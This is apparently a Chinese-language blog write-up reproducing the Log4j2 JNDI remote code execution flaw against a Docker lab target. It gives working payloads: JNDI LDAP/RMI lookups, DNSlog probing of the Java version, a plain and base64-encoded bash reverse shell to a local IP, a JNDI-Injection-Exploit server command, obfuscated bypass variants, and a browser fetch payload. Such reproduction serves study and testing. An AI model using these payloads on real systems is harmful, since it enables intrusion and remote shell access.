log4j2 RCE 复现

什么是Log4j2?

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。

造成漏洞的原因

在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

影响范围

Apache Log4j2 2.0-beta9 到 2.15.0

搭建靶场

搭建环境

1
2
#docker拉靶场
docker pull registry.cn-zhangjiakou.aliyuncs.com/rcs-team/vulnerability:log4j2-rce-2021-12-02

验证漏洞

访问地址

image-20221030193903955

bp抓包,然后将payload改为

1
${jndi:ldap://3tslcl.dnslog.cn/exp}

POST发包后显示方法不允许

image-20221030194049676

GET方式直接访问也不允许,不过将paylaod进行URL编码就OK

image-20221030194311792

DNSlog有记录了

image-20221030194631771

查看java版本

1
payload=${jndi:ldap://${java:version}.524f6b.dnslog.cn}

真的无语,每次复现漏洞的时候,家里的网就不是很好,突然性的连百度都打不开,真的狗!!!

反弹Shell

1.监听端口

image-20221030223724247

2.搭建恶意的JNDI服务

1
2
3
4
5
6
7
8
#反弹shell paylaod
bash -i >& /dev/tcp/192.168.1.109/4444 0>&1

#编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

#开启服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.121"

image-20221030230203282

3.执行Payload

1
2
3
4
5
6
7
8
9
10
11
#把上面生成的5个都试一遍
${jndi:rmi://192.168.1.121:1099/olfkmd}

#收集到的一些变种payload
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

一定要使用bp的URL编码,再发送

image-20221030231208318

Kali已收到Shell

image-20221030231221301

浏览器手工payload

来源于网络,我自己尝试了一下,失败。

1
2
3
4
5
6
#浏览器console手工payload测试
fetch(new Request('http://192.168.1.129:8080/hello?payload=111',{
method:'POST',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://3tslcl.dnslog.cn/exp}"
})).then((resp)=>{console.log(resp)})